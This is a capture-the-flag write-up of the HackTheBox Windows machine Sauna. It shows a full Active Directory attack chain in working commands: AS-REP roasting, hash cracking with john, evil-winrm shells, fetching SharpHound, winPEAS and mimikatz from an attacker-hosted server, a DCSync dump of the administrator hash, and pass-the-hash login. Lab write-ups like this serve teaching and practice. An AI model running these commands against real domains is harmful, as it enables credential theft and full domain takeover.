CTF Sauna

CTF › HackTheBox
, , ,

Sauna is an easy difficulty Windows machine that features Active Directory enumeration and exploitation. Possible usernames can be derived from employee full names listed on the website. With these usernames, an ASREPRoasting attack can be performed, which results in hash for an account that doesn’t require Kerberos pre-authentication. This hash can be subjected to an offline brute force attack, in order to recover the plaintext password for a user that is able to WinRM to the box. Running WinPEAS reveals that another system user has been configured to automatically login and it identifies their password. This second user also has Windows remote management permissions. BloodHound reveals that this user has the DS-Replication-Get-Changes-All extended right, which allows them to dump password hashes from the Domain Controller in a DCSync attack. Executing this attack returns the hash of the primary domain administrator, which can be used with Impacket’s psexec.py in order to gain a shell on the box as NT_AUTHORITY\SYSTEM.

Enumeration

Nmap

The provided nmap command has been used to perform a thorough port scan on the target host “sauna.htb.” Here’s an overview of the scan’s results:

1
nmap 10.10.10.175 -sVC -Pn -p- -vvvv

Output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
80/tcp    open  http          syn-ack Microsoft IIS httpd 10.0
|_http-title: Egotistical Bank :: Home
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2023-08-23 15:16:52Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49673/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         syn-ack Microsoft Windows RPC
49676/tcp open  msrpc         syn-ack Microsoft Windows RPC
49698/tcp open  msrpc         syn-ack Microsoft Windows RPC
49722/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h00m03s
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-08-23T15:17:43
|_  start_date: N/A
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 35558/tcp): CLEAN (Timeout)
|   Check 2 (port 31195/tcp): CLEAN (Timeout)
|   Check 3 (port 16424/udp): CLEAN (Timeout)
|   Check 4 (port 57297/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked

Interesting things:

  • Port 53: Open domain service.
  • Port 80: Open HTTP port, hosting a server with the title “Egotistical Bank :: Home.”
  • Port 88: Open Kerberos service.
  • Port 135: Open Microsoft Windows RPC.
  • Ports 139 and 445: SMB ports.
  • Port 389: Open LDAP service, associated with Microsoft Windows Active Directory for the domain “EGOTISTICAL-BANK.LOCAL.”

The output indicates that the host is part of a domain named EGOTISTICAL-BANK.LOCAL We’ve added this domain name to /etc/hosts.

Enum4linux

1
enum4linux 10.10.10.175

Output

1
2
3
4
5
6
7
8
9
10
11
Target ........... EGOTISTICALBANK                                                                          
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
...
...
...
Domain Name: EGOTISTICALBANK
Domain Sid: S-1-5-21-2966785786-3096785034-1186376766
[+] Host is part of a domain (not a workgroup)

The output indicates that the host is part of a domain named “EGOTISTICALBANK.” We’ve added this domain name to /etc/hosts.

RPCbind

1
rpcclient -U '' -N EGOTISTICALBANK

Output:

1
2
3
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> exit

The attempt to enumerate domain users with enumdomusers fails due to access denial.

ldapsearch

1
nmap -n -sV --script "ldap* and not brute" 10.10.10.175

Output:

The user Hugo Smith is found but I can’t manage to get the hash with GetNPUsers.py.
I add him to my user list.

Website

While browsing the website I found the the team.
![[Pasted image 20230823103018.png]]
With them we can create a list of users like bellow:

1
2
3
4
5
6
Fergus Smith
Shaun Coins
Hugo Bear 
Steven Kerb
Bowle Taylor
Sophie Driver

kerberos user enum (nmap)

We can also enumerate the users with nmap and krb5-enum-users script:

1
nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='EGOTISTICAL-BANK.LOCAL',userdb=newusers.txt 10.10.10.175

Output: 

1
2
3
4
5
PORT   STATE SERVICE
88/tcp open  kerberos-sec
| krb5-enum-users: 
| Discovered Kerberos principals
|_    [email protected]

The user hsmith should be Hugo Smith from the other scan above.

AS-REP Roasting

The AS-REP Roasting attack doesn’t work on this user, but should work on a user from the team:

1
/usr/share/doc/python3-impacket/examples/GetNPUsers.py -dc-ip 10.10.10.175 EGOTISTICAL-BANK.LOCAL/hsmith -format john -outputfile hash

hsmith is not a user from the team.
This user is showing us how they create the username from the first name and last name:

  • Hugo Smith -> hsmith
    So for the team it should be:
  • Fergus Smith -> fsmith
  • Shaun Coins -> scoins
  • Hugo Bear -> hbear
  • Steven Kerb ->skerb
  • Bowle Taylor -> btaylor
  • Sophie Driver -> sdriver

kerberos userenum (kerbrute)

I’ve created a list with the users above: 

1
2
3
4
5
6
7
➜  sauna cat team
fsmith
scoins
hbear
skerb
btaylor
sdriver

Now with kerbrute we can use userenum to see if they are valide:

1
kerbrute userenum -d EGOTISTICAL-BANK.LOCAL team --dc 10.10.10.175


fsmith is the only valid username, we ca enumerate more with a another wordlist:

1
kerbrute userenum -d EGOTISTICAL-BANK.LOCAL /usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt --dc 10.10.10.175


We found few others users:

1
2
3
4
hsmith
sauna
fsmith
Administrator

First User

Dump the TGT hash

I used the tool GetNPUsers.py from Impacket’s to harvest the non-preauth AS_REP responses against the user fsmith

1
/usr/share/doc/python3-impacket/examples/GetNPUsers.py -dc-ip 10.10.10.175 EGOTISTICAL-BANK.LOCAL/fsmith -format john -outputfile hash

Output:

1
2
[*] Cannot authenticate fsmith, getting its TGT
[email protected]:fbcc8c759520abe3409af55c557f6e4c$f751460ce9b72afe75ae28da0b1518a640791885ba3ce55de8ce1e9522f3eaa92020368d7f742704776261246829efb24205616567bd28eaf01720fca40ccb38c2dc34db0755aabd4050c1ca30c02c5d79ff75e7c490764bd7c719b1f91008ef8e9b2026ee3bf2e0505607d600f928ee287ef9100df48b6f7808a27805b9c91b7b86b806a9f072fbcb131ba9152745bbd8bb3c2f9379296953618b9f7404e0b680aae3b7cdd501b4ae9affda852ff75823ffcf636640561aa75ba0d730ba0a98c4bac48c767f9ae4284bf4b97ef28359e1d682cfab820c4fda181a6e6324260effc5f350de4c5b668b55b190c5ed50e903a7b0e267dc509a4afa0c8895b1ac32

Now I crate a file named hash with the hash.

Crack the hash

With john I managed to crack the hash.

1
john -wordlist=/usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou.txt hash

Output:

1
Thestrokes23     ([email protected])

Remote Windows Access with Evil-Winrm

Let’s get a shell with evil-winrm

1
evil-winrm -i 10.10.10.175 -u fsmith -p Thestrokes23

Enumeration

Enumeration with BloodHound

First we need to collect the data, I’m using SharpHound.exe for this task.
I put this file into a simple web server on my machine to get from the target.

1
2
cd /tools/
python2.7 -m SimpleHTTPServer

I can also do it with the upload function fron evil-winrm

1
2
3
4
Invoke-WebRequest -Uri "http://10.10.14.23:8000/SharpHound.exe" -OutFile "SharpHound.exe"

./SharpHound.exe -d EGOTISTICAL-BANK.LOCAL
download 20230823194844_BloodHound.zip

Drag and drop the zip file into bloodhound.
we can see a new user and also the next target: SVC_LOANMGR.

Enumeration with WinPEAS

Like I did for SharpHound.exe, I will download winPEAS.ps1.

1
2
Invoke-WebRequest -Uri "http://10.10.14.23:8000/winPEAS.ps1" -OutFile "winPEAS.ps1"
./winPEAS.ps1

This tool found a credential into winlogon for.

Username: svc_loanmanager
Password: Moneymakestheworldgoround!
svc_loanmanager should be SVC_LOANMGR from BloodHound

Second User

Evil-Winrm

Get the shell of the user svc_loanmanager

1
evil-winrm -i 10.10.10.175 -u SVC_LOANMGR -p Moneymakestheworldgoround!

Mimikatz DCSync

The webserver is already open, I just had to download mimikatz.exe and perform a DCSync Attack.

1
2
3
Invoke-WebRequest -Uri "http://10.10.14.23:8000/mimikatz.exe" -OutFile "mimikatz.exe"

.\mimikatz 'lsadump::dcsync /domain:EGOTISTICAL-BANK.LOCAL /user:administrator' exit

Output:

The NTLM hash present in the result is: 823452073d75b9d1cf70ebdf86c7f98e.

NT AUTHORITY\SYSTEM

Evil-Winrm

With the NTLM hash from the user administrator, we can spawn a shell.

1
evil-winrm -i EGOTISTICAL-BANK.LOCAL -u administrator -H 823452073d75b9d1cf70ebdf86c7f98e